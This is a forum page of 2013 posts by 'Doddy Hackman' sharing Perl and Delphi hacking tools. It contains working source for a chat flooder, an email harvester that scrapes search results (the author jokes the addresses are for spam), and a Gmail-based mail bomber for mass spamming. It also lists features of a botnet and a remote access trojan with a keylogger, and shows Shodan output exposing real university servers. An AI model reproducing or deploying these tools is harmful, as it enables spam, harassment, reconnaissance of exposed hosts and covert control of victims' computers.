|
131
|
Programación / Scripting / [Perl] Come on Spam Now 0.1
|
en: 31 Diciembre 2013, 22:42 pm
|
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter. El codigo #!usr/bin/perl #Come on Spam Now 0.1 #Coded By Doddy H #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd use Win32 ::GuiTest qw(SendKeys ); use Time::HiRes "usleep"; $|++; head(); my $tiempo_final; print "[+] Text to Flood : "; chomp( my $your_text = <stdin> ); print "\n[+] Duration of attack : "; chomp( my $hasta = <stdin> ); print "\n[+] Sleep Time : "; chomp( my $tiempo = <stdin> ); $hasta = $hasta + 10; if ( $tiempo ne "" ) { $tiempo_final = $tiempo; } else { $tiempo_final = 0; } print "\n[+] Select the window to destroy\n"; print "\n[+] Wait 5 seconds\n"; print "\n[+] Come on Spam Now !!!!!!!\n"; while ( time - $tiemponow < $hasta ) { SendKeys($your_text); SendKeys("{ENTER}"); } print "\n[+] Finished\n"; copyright(); #Functions sub head { my @logo = ( "#=============================================#", "\n", "# Come On Spam Now 0.1 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub copyright { my @fin = ("-- == (C) Doddy Hackman 2013 == --"); marquesina(@fin); <stdin>; } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } #The End ?
|
|
|
132
|
Programación / Scripting / [Perl] Emails Extractor 0.2
|
en: 27 Diciembre 2013, 15:35 pm
|
Un simple script en Perl para buscar direcciones de correo en : - Un archivo de texto cualquiera
- Una pagina
- Usando un dork en google para scanear todas las paginas encontradas con el dork
- Lo mismo que el anterior pero en bing
El codigo. #!usr/bin/perl #Email Extractor 0.2 #(C) Doddy Hackman 2013 #Credits : Regex based on #http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl #Thanks to motherconfessor & amon use LWP::UserAgent; use URI::Escape; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(10); my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i ; # Thanks to motherconfessor & amon my @emails; head(); if ( $ARGV[0] eq "-file" ) { print "\n[+] Opening file ...\n"; if ( -f $ARGV[1] ) { my $code = openfile( $ARGV[1] ); while ( $code =~ /($buscador)/g ) { my $email = $1; } my @emails = repes(@emails); print "\n[+] Mails Found : " . int(@emails) . "\n"; for (@emails) { savefile( $ARGV[2], $_ ); } } else { print "\n[-] File not found\n"; } } elsif ( $ARGV[0] eq "-google" ) { print "\n[+] Searching in Google ...\n"; my @links = google( $ARGV[1], $ARGV[2] ); print "[+] Scanning [" . int(@links) . "] pages ...\n"; for my $ink (@links) { my $code = toma($ink); while ( $code =~ /($buscador)/g ) { my $email = $1; } } my @emails = repes(@emails); print "\n[+] Mails Found : " . int(@emails) . "\n"; for (@emails) { savefile( $ARGV[2], $_ ); } } elsif ( $ARGV[0] eq "-bing" ) { print "\n[+] Searching in Bing ...\n"; my @links = bing( $ARGV[1], $ARGV[2] ); print "[+] Scanning [" . int(@links) . "] pages ...\n"; for my $ink (@links) { my $code = toma($ink); while ( $code =~ /($buscador)/g ) { my $email = $1; } } my @emails = repes(@emails); print "\n[+] Mails Found : " . int(@emails) . "\n"; for (@emails) { savefile( $ARGV[3], $_ ); } } elsif ( $ARGV[0] eq "-page" ) { my $code = toma( $ARGV[1] ); print "\n[+] Loading page ...\n"; while ( $code =~ /($buscador)/g ) { my $email = $1; } my @emails = repes(@emails); print "\n[+] Mails Found : " . int(@emails) . "\n"; for (@emails) { savefile( $ARGV[2], $_ ); } } else { sintax(); } copyright(); # Functions sub bing { my ( $a, $b ) = @_; for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) { my $code = toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages ); while ( $code =~ /<h3><a href="(.*?)"/mig ) { } } my @founds = repes( cortar(@founds) ); } sub google { my ( $a, $b ) = @_; my @founds; for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) { $code = toma( "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" ); while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) { my $url = $1; if ( $url =~ /\/url\?q\=(.*?)\&\;/ ) { push( @founds, uri_unescape ($1) ); } } } my @founds = repes( cortar(@founds) ); } sub cortar { my @nuevo; for (@_) { if ( $_ =~ /=/ ) { @tengo = split( "=", $_ ); push( @nuevo, @tengo[0] . "=" ); } else { } } } sub toma { return $nave->get( $_[0] )->content; } sub savefile { if ( $_[0] eq "" ) { open( SAVE , ">>logs.txt" ); } else { open( SAVE , ">>" . $_[0] ); } } sub openfile { open my $FILE, q[<], $_[0]; my $word = join q[], <$FILE>; } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub sintax { print "\n[+] Sintax : $0 <options> <logs>\n"; print "\n[+] Examples : \n\n"; print "[+] $0 -file test.txt logs.txt\n"; print "[+] $0 -google 50 mailist logs.txt\n"; print "[+] $0 -bing 50 mailist logs.txt\n"; print "[+] $0 -page http://localhost/index.php logs.txt\n"; } sub head { print "\n-- == Email Extractor 0.2 == --\n"; } sub copyright { print "\n-- == (C) Doddy Hackman 2013 == --\n\n"; } #The End ?
Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
|
|
|
133
|
Programación / Scripting / [Perl] PirateBay Manager 0.3
|
en: 23 Diciembre 2013, 00:27 am
|
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay. El codigo. #!usr/bin/perl #PirateBay Manager 0.3 #(C) Doddy Hackman 2013 use LWP::UserAgent; use Time::HiRes "usleep"; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe"; head(); print "[+] Write the search : "; chomp( my $busqueda = <stdin> ); $busqueda =~ s/ /%20/; print "\n[+] Searching ..."; my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" ); my @links; $contador = -1; while ( $code =~ /(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs ) { my $nombre = $2; my $link_torrent = magnet . $4; my $limpiando_data = $6; my $data; my $seeders = $8; my $leechers = $10; if ( $limpiando_data =~ /(.*), ULed by </ ) { $limpiando_data_2 = $1; $limpiando_data_2 =~ s/ / /migs; $data = $limpiando_data_2; } $contador++; print "\n\n[+] ID : " . $contador; print "\n[+] Name : " . $nombre; push( @links, $link_torrent ); print "\n[+] Data : " . $data . ", Seeders $seeders, Leechers $leechers"; } print "\n\n[+] ID to download : "; chomp( my $id_to = <stdin> ); print "\n[+] Executed !\n"; system( $requisito, $links[$id_to] ); copyright(); ## Functions sub head { my @logo = ( "#=============================================#", "\n", "# PirateBay Manager 0.3 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub copyright { my @fin = ("-- == (C) Doddy Hackman 2013 == --"); marquesina(@fin); <stdin>; } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub toma { return $nave->get( $_[0] )->content; } #The End ?
Ejemplo de uso. C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl #=============================================# # PirateBay Manager 0.3 # #---------------------------------------------# # Written By Doddy H # # Email: lepuke[at]hotmail[com] # # Website: doddyhackman.webcindario.com # #---------------------------------------------# # The End ? # #=============================================#
[+] Write the search : batman
[+] Searching ... [+] ID : 0 [+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes [+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5 [+] ID : 1 [+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -) [+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1 [+] ID : 2 [+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem [+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5 [+] ID : 3 [+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino [+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0 [+] ID : 4 [+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP [+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2 [+] ID : 5 [+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP [+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2 [+] ID : 6 [+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire) [+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1 [+] ID : 7 [+] Name : Batman 1966 Complete Season 3 Uncut TV RIP [+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6 [+] ID : 8 [+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded [+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230 [+] ID : 9 [+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED [+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14 [+] ID : 10 [+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire) [+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5 [+] ID : 11 [+] Name : Batman - Long Shadows [+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2 [+] ID : 12 [+] Name : Batman.Arkham.Trilogy-R.G. Mechanics [+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67 [+] ID : 13 [+] Name : Batman.Arkham.Origins.Update.v20131125-FTS [+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2 [+] ID : 14 [+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES [+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52 [+] ID : 15 [+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire [+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24 [+] ID : 16 [+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire [+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7 [+] ID : 17 [+] Name : BATMAN '66 021 (2013) (DC Comics) (digital) (Son of Ultron-Empi [+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1 [+] ID : 18 [+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire) [+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0 [+] ID : 19 [+] Name : BATMAN '66 020 (2013) (DC Comics) (digital) (Son of Ultron-Empi [+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1 [+] ID : 20 [+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt [+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1 [+] ID : 21 [+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP) [+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0 [+] ID : 22 [+] Name : Batman - Ego (2000).cbr (- Nem -) [+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0 [+] ID : 23 [+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -) [+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3 [+] ID : 24 [+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0 [+] ID : 25 [+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0 [+] ID : 26 [+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0 [+] ID : 27 [+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat- [+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4 [+] ID : 28 [+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR [+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0 [+] ID : 29 [+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR [+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3 [+] ID to download : 0 [+] Executed ! -- == (C) Doddy Hackman 2013 == --
|
|
|
134
|
Programación / Scripting / [Perl] Shodan Tool 0.2
|
en: 21 Diciembre 2013, 00:30 am
|
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl. El codigo. #!usr/bin/perl # Shodan Tool 0.2 # (C) Doddy Hackman 2013 # Install the dependencies # sudo perl -MCPAN -e 'install CGI::Enurl' # sudo perl -MCPAN -e 'install JSON::XS' # sudo perl -MCPAN -e 'install HTTP::Request::Common' # Install Shodan # curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz # tar zxvf Shodan-0.3.tar.gz # cd Shodan-0.3 # perl Makefile.PL # make # sudo make install use Shodan::WebAPI; $SIG{INT} = \©right; $your_key = "fuck you"; # Your Api Key head(); unless ( $ARGV[0] ) { print "\n[+] Sintax : $0 <search>\n"; } else { print "\n[+] Searching ...\n"; $shell_shodan = new Shodan::WebAPI($your_key); $resultados = $shell_shodan->search( $ARGV[0] ); @encontrados = @{ $resultados->{"matches"} }; for ( $i = 0 ; $i < $#encontrados ; ) { print "\n[+] Search Number : " . $i . "\n"; if ( $encontrados[$i]->{country_name} eq "" ) { print "[+] Country : Not Found\n"; } else { print "[+] Country : " . $encontrados[$i]->{country_name } . "\n"; } if ( $encontrados[$i]->{ip} eq "" ) { print "[+] IP : Not Found\n"; } else { print "[+] IP : " . $encontrados[$i]->{ip } . "\n"; } join( "\t", @{ $encontrados[$i]->{hostnames } } ), "\n"; if ( $encontrados[$i]->{os} eq "" ) { print "[+] OS : Not Found\n"; } else { print "[+] OS : " . $encontrados[$i]->{os } . "\n"; } if ( $encontrados[$i]->{port} eq "" ) { print "[+] Port : Not Found\n"; } else { print "[+] Port : " . $encontrados[$i]->{port } . "\n"; } if ( $encontrados[$i]->{updated} eq "" ) { print "[+] Last Updated : Not Found\n"; } else { print "[+] Last Updated : " . $encontrados[$i]->{updated } . "\n"; } print "\n[Data Start]\n" . $encontrados[$i]->{data } . "\n[Data End]\n"; $i++; if ( $i % 5 == 0 ) { print "\n[+] Press enter to show more\n"; <STDIN>; } } } copyright(); # Functions sub head { print "\n-- == Shodan Tool 0.2 == --\n"; } sub copyright { print "\n-- == (C) Doddy Hackman 2013 == --\n"; } # The End ?
Un ejemplo de uso. doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad"
-- == Shodan Tool 0.2 == --
[+] Searching ...
[+] Search Number : 0 [+] Country : Spain [+] IP : 193.147.172.36 [+] Hostnames: ftp.fgh.us.es
[+] OS : Not Found [+] Port : 21 [+] Last Updated : 27.11.2013 Wide character in print at shodanfinal.pl line 78.
[Data Start] 220-Microsoft FTP Service 220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA 230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA 230 Anonymous user logged in. 214-The following commands are recognized(* ==>'s unimplemented). ABOR ACCT ALLO APPE CDUP CWD DELE FEAT HELP LIST MDTM MKD MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD XPWD XRMD 214 HELP command successful. [Data End]
[+] Search Number : 1 [+] Country : Bolivia [+] IP : 200.87.234.18 [+] Hostnames:
[+] OS : Not Found [+] Port : 21 [+] Last Updated : 25.11.2013
[Data Start] 220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M. 230 Login successful. 214-The following commands are recognized. ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD XPWD XRMD 214 Help OK. [Data End]
[+] Search Number : 2 [+] Country : Chile [+] IP : 146.83.193.197 [+] Hostnames: zafiro.ciencias.ubiobio.cl
[+] OS : Not Found [+] Port : 80 [+] Last Updated : 24.11.2013
[Data Start] HTTP/1.0 302 Found Date: Sun, 24 Nov 2013 04:06:36 GMT Server: Apache/2.2.16 (Debian) Location: http://146.83.193.197/facultad/ Vary: Accept-Encoding Content-Length: 295 Content-Type: text/html; charset=iso-8859-1
[Data End]
[+] Search Number : 3 [+] Country : Venezuela [+] IP : 190.169.126.3 [+] Hostnames: inving.ing.ucv.ve
[+] OS : Not Found [+] Port : 21 [+] Last Updated : 23.11.2013
[Data Start] 220 FTP -2: - Facultad de Ingenieira 530 Login or password incorrect! 214-The following commands are recognized: USER PASS QUIT CWD PWD PORT PASV TYPE LIST REST CDUP RETR STOR SIZE DELE RMD MKD RNFR RNTO ABOR SYST NOOP APPE NLST MDTM XPWD XCUP XMKD XRMD NOP EPSV EPRT AUTH ADAT PBSZ PROT FEAT MODE OPTS HELP ALLO MLST MLSD SITE P@SW STRU CLNT MFMT 214 Have a nice day. [Data End]
[+] Search Number : 4 [+] Country : Argentina [+] IP : 163.10.23.131 [+] Hostnames: www.fcnym.unlp.edu.ar
[+] OS : Not Found [+] Port : 80 [+] Last Updated : 23.11.2013
[Data Start] HTTP/1.0 200 OK Date: Sat, 23 Nov 2013 14:31:52 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.4 Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
[Data End]
[+] Press enter to show more
[+] Search Number : 5 [+] Country : Mexico [+] IP : 148.224.13.152 [+] Hostnames: 152-13-static.uaslp.mx
[+] OS : Not Found [+] Port : 80 [+] Last Updated : 23.11.2013
[Data Start] HTTP/1.0 401 Unauthorized Connection: Keep-Alive Cache-Control: no-cache WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth" WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA" Content-Type: text/html Content-Length: 236
[Data End]
[+] Search Number : 6 [+] Country : Argentina [+] IP : 190.11.104.87 [+] Hostnames: host87-104.cpenet.com.ar
[+] OS : Not Found [+] Port : 137 [+] Last Updated : 22.11.2013
[Data Start] NetBIOS Response Servername: FACULTAD MAC: 00:1c:c0:9c:0a:ff
Names: FACULTAD <0x0> SIX <0x0> FACULTAD <0x20> SIX <0x1e> SIX <0x1d> __MSBROWSE__ <0x1>
[Data End]
[+] Search Number : 7 [+] Country : Mexico [+] IP : 132.248.18.23 [+] Hostnames: docencia.fca.unam.mx
[+] OS : Not Found [+] Port : 143 [+] Last Updated : 22.11.2013
[Data Start] * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion [Data End]
[+] Search Number : 8 [+] Country : Argentina [+] IP : 170.210.88.7 [+] Hostnames: firewall.unp.edu.ar
[+] OS : Not Found [+] Port : 21 [+] Last Updated : 22.11.2013
[Data Start] 220 Bienvenido al FTP de la Facultad de Ingenieria. 530 Permission denied. 530 Please login with USER and PASS. [Data End]
[+] Search Number : 9 [+] Country : Argentina [+] IP : 170.210.240.9 [+] Hostnames: cacuy.fi.unju.edu.ar
[+] OS : Not Found [+] Port : 25 [+] Last Updated : 20.11.2013
[Data Start] 220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu
[Data End]
[+] Press enter to show more
|
|
|
135
|
Programación / Programación General / [Delphi] DH Botnet 0.5
|
en: 16 Diciembre 2013, 04:26 am
|
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl. Contiene estas opciones : - Ejecucion de comandos
- Listar procesos activos
- Matar procesos
- Listar archivos de un directorio
- Borrar un archivo o directorio cualquiera
- Leer archivos
- Abrir y cerrar lectora
- Ocultar y mostrar programas del escritorio
- Ocultar y mostrar Taskbar
- Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
- Hacer que el teclado escriba solo
- Volver loco al mouse haciendo que se mueva por la pantalla
Unas imagenes : Si lo quieren bajar lo pueden hacer de aca.
|
|
|
136
|
Programación / Programación General / [Delphi] DH Bomber 0.5
|
en: 13 Diciembre 2013, 04:19 am
|
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD. Una imagen : El codigo. // DH Bomber 0.5 // (C) Doddy Hackman 2013 unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton, sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox, acPNG; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sStatusBar1: TsStatusBar; sPageControl1: TsPageControl; sTabSheet1: TsTabSheet; sTabSheet2: TsTabSheet; sTabSheet3: TsTabSheet; sTabSheet4: TsTabSheet; sTabSheet5: TsTabSheet; sTabSheet6: TsTabSheet; sGroupBox1: TsGroupBox; sLabel1: TsLabel; sLabel2: TsLabel; sEdit1: TsEdit; sEdit2: TsEdit; sGroupBox2: TsGroupBox; sLabel5: TsLabel; sLabel6: TsLabel; sEdit5: TsEdit; sEdit6: TsEdit; sGroupBox3: TsGroupBox; sMemo1: TsMemo; sButton1: TsButton; MediaPlayer1: TMediaPlayer; sLabel3: TsLabel; sEdit3: TsEdit; Image1: TImage; PopupMenu1: TPopupMenu; N2: TMenuItem; S2: TMenuItem; sGroupBox4: TsGroupBox; sMemo2: TsMemo; sGroupBox5: TsGroupBox; sListBox1: TsListBox; sGroupBox6: TsGroupBox; Image2: TImage; sLabel7: TsLabel; PopupMenu2: TPopupMenu; L1: TMenuItem; A1: TMenuItem; C1: TMenuItem; OpenDialog1: TOpenDialog; sLabel4: TsLabel; procedure FormCreate(Sender: TObject); procedure N2Click(Sender: TObject); procedure S2Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure C1Click(Sender: TObject); procedure L1Click(Sender: TObject); procedure A1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; themenow: Boolean; implementation {$R *.dfm} // Functions procedure enviate_esta(username, password, toto, subject, body: string); var data: TIdMessage; mensaje: TIdSMTP; begin mensaje := TIdSMTP.Create(nil); data := TIdMessage.Create(nil); data.From.Address := username; data.Recipients.EMailAddresses := toto; data.subject := subject; data.body.Text := body; mensaje.Host := 'smtp.gmail.com'; mensaje.Port := 587; mensaje.username := username; mensaje.password := password; mensaje.Connect; mensaje.Send(data); mensaje.Disconnect; mensaje.Free; data.Free; end; // procedure TForm1.A1Click(Sender: TObject); var archivo: TextFile; lineas: String; begin OpenDialog1.InitialDir := GetCurrentDir; if OpenDialog1.Execute then begin AssignFile(archivo, OpenDialog1.Filename); Reset(archivo); while not EOF(archivo) do begin ReadLn(archivo, lineas); sListBox1.Items.Add(lineas); end; end; end; procedure TForm1.C1Click(Sender: TObject); begin sListBox1.Clear; end; procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'deep'; sSkinManager1.Active := True; MediaPlayer1.Filename := 'data/theme.mp3'; MediaPlayer1.Open; themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.L1Click(Sender: TObject); var mail: string; begin mail := InputBox('DH Bomber 0.5', 'Mail', ''); if not(mail = '') then begin sListBox1.Items.Add(mail); end; end; procedure TForm1.N2Click(Sender: TObject); begin themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.S2Click(Sender: TObject); begin themenow := false; MediaPlayer1.Stop; MediaPlayer1.Notify := True; end; procedure TForm1.sButton1Click(Sender: TObject); var i: integer; i2: integer; count: integer; idasunto: string; begin sMemo2.Clear; for i2 := sListBox1.Items.count - 1 downto 0 do begin Sleep(StrToInt(sEdit3.Text) * 1000); count := StrToInt(sEdit5.Text); For i := 1 to count do begin if count > 1 then begin idasunto := '_' + IntToStr(i); end; try begin sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2] + ' ' + '[+] Message Number ' + IntToStr(i) + ' : Sending ' + ' ...'; Form1.sStatusBar1.Update; enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2], sEdit6.Text + idasunto, sMemo1.Text); sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' + '[+] Message Number ' + IntToStr(i) + ' : OK '); end; except begin sStatusBar1.Panels[0].Text := '[-] Error Sending Message Number ' + IntToStr(i) + ' ...'; sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' + '[+] Message Number ' + IntToStr(i) + ' : FAIL '); Form1.sStatusBar1.Update; end; end; end; end; sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
137
|
Programación / Programación General / [Delphi] DH Rat 0.3
|
en: 9 Diciembre 2013, 03:30 am
|
Un simple RAT que hice en Delphi con las siguientes opciones : - Abrir y cerrar lectora
- Listar archivos en un directorio
- Borrar archivos y directorios
- Ver el contenido de un archivo
- Hacer que el teclado escriba solo
- Abre Word y para variar las cosas el teclado escribe solo
- Mandar mensajes
- Hacer que la computadora hable (en ingles)
- Listar procesos
- Matar un proceso
- Ejecutar comandos y ver el resultado
- Volver loco al mouse por un rato
- Ocultar y mostrar el taskbar
- Ocultar y mostrar los iconos del escritorio
- Keylogger incluido
